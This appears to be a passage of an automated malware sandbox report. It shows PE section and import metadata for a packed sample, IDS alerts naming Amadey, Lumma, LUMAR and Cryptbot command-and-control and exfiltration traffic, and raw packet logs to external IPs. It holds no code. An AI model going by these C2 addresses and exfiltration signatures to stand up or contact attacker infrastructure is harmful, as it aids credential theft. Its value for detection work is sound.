opurfhmz	0x6b000	0x2ac000	0x2ab800	60d1bc7099c4b11c6204009ede126db8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kcliltur	0x317000	0x1000	0x400	11f9af30b960b5261f61daa6c457d3d0	False	0.7783203125	data	6.092689093397833	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x318000	0x3000	0x2200	63ddcebedca6001d986dd89c15b423bc	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397
RT_MANIFEST	0x69358	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T22:06:05.191110+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49750	185.215.113.43	80	TCP
2024-12-17T22:06:09.623883+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49763	31.41.244.11	80	TCP
2024-12-17T22:06:12.140826+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49758	TCP
2024-12-17T22:06:13.489032+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49771	185.215.113.43	80	TCP
2024-12-17T22:06:14.059775+0100	2048736	ET MALWARE LUMAR Stealer Exfiltration M2	1	192.168.2.4	49777	185.244.212.106	2227	TCP
2024-12-17T22:06:14.946991+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49776	31.41.244.11	80	TCP
2024-12-17T22:06:20.471462+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49788	185.215.113.43	80	TCP
2024-12-17T22:06:21.927881+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49793	31.41.244.11	80	TCP
2024-12-17T22:06:22.355128+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49794	172.67.209.202	443	TCP
2024-12-17T22:06:23.229418+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49794	172.67.209.202	443	TCP
2024-12-17T22:06:23.229418+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49794	172.67.209.202	443	TCP
2024-12-17T22:06:24.471907+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49800	172.67.209.202	443	TCP
2024-12-17T22:06:26.769933+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49800	172.67.209.202	443	TCP
2024-12-17T22:06:26.769933+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49800	172.67.209.202	443	TCP
2024-12-17T22:06:29.117257+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49811	172.67.209.202	443	TCP
2024-12-17T22:06:32.779726+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49822	185.215.113.43	80	TCP
2024-12-17T22:06:34.099089+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49824	172.67.209.202	443	TCP
2024-12-17T22:06:34.345484+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	31.41.244.11	80	TCP
2024-12-17T22:06:38.052020+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49837	172.67.209.202	443	TCP
2024-12-17T22:06:45.290673+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49854	185.215.113.43	80	TCP
2024-12-17T22:06:45.557450+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49859	172.67.209.202	443	TCP
2024-12-17T22:06:46.765386+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49860	31.41.244.11	80	TCP
2024-12-17T22:06:47.170279+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49859	172.67.209.202	443	TCP
2024-12-17T22:06:48.944176+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49866	172.67.209.202	443	TCP
2024-12-17T22:06:48.953965+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49866	172.67.209.202	443	TCP
2024-12-17T22:06:55.260760+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49882	172.67.209.202	443	TCP
2024-12-17T22:06:56.208307+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49882	172.67.209.202	443	TCP
2024-12-17T22:06:58.768080+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49884	185.215.113.43	80	TCP
2024-12-17T22:07:00.237012+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49890	31.41.244.11	80	TCP
2024-12-17T22:07:06.146515+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49906	104.154.220.71	80	TCP
2024-12-17T22:07:07.570885+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49907	185.215.113.43	80	TCP
2024-12-17T22:07:08.010977+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49913	104.154.220.71	80	TCP
2024-12-17T22:07:09.224821+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49914	31.41.244.11	80	TCP
2024-12-17T22:07:15.369343+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49927	185.215.113.43	80	TCP
2024-12-17T22:07:17.994426+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49945	172.67.129.27	443	TCP
2024-12-17T22:07:18.719306+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49945	172.67.129.27	443	TCP
2024-12-17T22:07:18.719306+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49945	172.67.129.27	443	TCP
2024-12-17T22:07:19.230077+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49947	104.154.220.71	80	TCP
2024-12-17T22:07:20.076688+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49954	172.67.129.27	443	TCP
2024-12-17T22:07:21.104497+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49954	172.67.129.27	443	TCP
2024-12-17T22:07:21.104497+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49954	172.67.129.27	443	TCP
2024-12-17T22:07:21.552212+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49955	TCP
2024-12-17T22:07:23.705983+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49965	172.67.129.27	443	TCP
2024-12-17T22:07:26.711768+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49971	185.215.113.43	80	TCP
2024-12-17T22:07:26.868305+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49977	172.67.129.27	443	TCP
2024-12-17T22:07:27.671174+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49977	172.67.129.27	443	TCP
2024-12-17T22:07:29.177577+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49982	172.67.209.202	443	TCP
2024-12-17T22:07:29.920749+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49982	172.67.209.202	443	TCP
2024-12-17T22:07:29.920749+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49982	172.67.209.202	443	TCP
2024-12-17T22:07:29.982278+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49984	172.67.129.27	443	TCP
2024-12-17T22:07:31.171567+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49989	172.67.209.202	443	TCP
2024-12-17T22:07:31.907009+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49989	172.67.209.202	443	TCP
2024-12-17T22:07:31.907009+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49989	172.67.209.202	443	TCP
2024-12-17T22:07:34.744853+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49997	172.67.129.27	443	TCP
2024-12-17T22:07:36.316563+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49999	172.67.209.202	443	TCP
2024-12-17T22:07:40.406630+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50011	172.67.129.27	443	TCP
2024-12-17T22:07:40.463081+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50011	172.67.129.27	443	TCP
2024-12-17T22:07:40.513788+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50012	172.67.209.202	443	TCP
2024-12-17T22:07:41.764693+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50012	172.67.209.202	443	TCP
2024-12-17T22:07:44.150903+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50021	172.67.209.202	443	TCP
2024-12-17T22:07:44.262995+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50022	172.67.129.27	443	TCP
2024-12-17T22:07:44.999946+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50022	172.67.129.27	443	TCP
2024-12-17T22:07:55.069716+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50049	172.67.209.202	443	TCP
2024-12-17T22:08:01.138055+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50067	172.67.209.202	443	TCP
2024-12-17T22:08:01.177511+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50067	172.67.209.202	443	TCP
2024-12-17T22:08:04.934610+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50074	172.67.209.202	443	TCP
2024-12-17T22:08:05.673324+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50074	172.67.209.202	443	TCP
2024-12-17T22:10:08.787868+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50128	TCP
2024-12-17T22:10:10.137235+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50131	185.215.113.43	80	TCP
2024-12-17T22:11:08.008244+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50156	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 22:06:03.722348928 CET	49750	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:03.841865063 CET	80	49750	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:03.842058897 CET	49750	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:03.842344999 CET	49750	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:03.961798906 CET	80	49750	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:05.191029072 CET	80	49750	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:05.191109896 CET	49750	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:06.704319954 CET	49750	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:06.704765081 CET	49758	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:06.824343920 CET	80	49750	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:06.824385881 CET	80	49758	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:06.824443102 CET	49750	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:06.824595928 CET	49758	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:06.824790001 CET	49758	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:06.944222927 CET	80	49758	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:08.172816038 CET	80	49758	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:08.172933102 CET	49758	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:08.176611900 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:08.296147108 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:08.296325922 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:08.494465113 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:08.614078045 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.623778105 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.623883009 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.623945951 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.623959064 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.624011993 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.624053001 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.624067068 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.624126911 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.624145985 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.624212027 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.624232054 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.624295950 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.624300003 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.624311924 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.624350071 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.624385118 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.624391079 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.624447107 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.743432045 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.743447065 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.743546963 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.747867107 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.747898102 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.747941971 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.747998953 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.815969944 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.816029072 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.816072941 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.816135883 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.818473101 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.818485975 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.818536043 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.826889038 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.826957941 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.826983929 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.827028990 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.835370064 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.835426092 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.835443974 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.835490942 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.843755007 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.843823910 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.843873024 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.852255106 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.852365017 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.852440119 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.860585928 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.860646963 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:09.860656023 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:09.860711098 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:12.020735979 CET	49758	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:12.022443056 CET	49771	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:12.140825987 CET	80	49758	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:12.140883923 CET	49758	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:12.141916990 CET	80	49771	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:12.141983986 CET	49771	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:12.142309904 CET	49771	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:12.262619972 CET	80	49771	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:13.488147020 CET	80	49771	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:13.489032030 CET	49771	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:13.492127895 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:13.492552042 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:13.612157106 CET	80	49763	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:13.612178087 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:13.612224102 CET	49763	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:13.612283945 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:13.612473965 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:13.731925011 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:13.820028067 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:13.939651966 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:13.939721107 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:13.939805031 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:13.940093040 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.059345961 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.059463978 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.059716940 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.059741974 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.059775114 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.059891939 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.059931040 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.059962988 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.060005903 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.060101986 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.060117006 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.060129881 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.060151100 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.060165882 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.060208082 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.060220957 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.060249090 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.178993940 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.179110050 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.179347038 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.179400921 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.179409027 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.179450035 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.179478884 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.179495096 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.179517984 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.179539919 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.179582119 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.179624081 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.226490021 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.226586103 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.342504025 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.342576981 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.386480093 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.386533976 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.502474070 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.502619982 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.602503061 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.605032921 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.724581957 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.724991083 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.943192005 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:14.946212053 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.946300030 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:14.946918011 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:14.946940899 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:14.946990967 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:14.947037935 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:14.947128057 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:14.947139025 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:14.947150946 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:14.947170973 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:14.947189093 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:14.947240114 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:14.947252035 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:14.947263002 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:14.947285891 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:14.947304010 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:14.947318077 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:14.947331905 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:14.947376966 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.065912962 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.065951109 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.065984011 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.066054106 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.066066980 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.066073895 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.066111088 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.066131115 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.066210985 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.066221952 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.066277981 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.066387892 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.066399097 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.066514969 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.066521883 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.066534996 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.066584110 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.066667080 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.066677094 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.066740036 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.066766977 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.066821098 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.066826105 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.066924095 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.066989899 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.067055941 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.067080021 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.067131042 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.067153931 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.067215919 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.067246914 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.067311049 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.067353964 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.067394972 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.067460060 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.067508936 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.067660093 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.067681074 CET	2227	49777	185.244.212.106	192.168.2.4
Dec 17, 2024 22:06:15.067704916 CET	49777	2227	192.168.2.4	185.244.212.106
Dec 17, 2024 22:06:15.067725897 CET	49777	2227	192.168.2.4	185.244.212.106
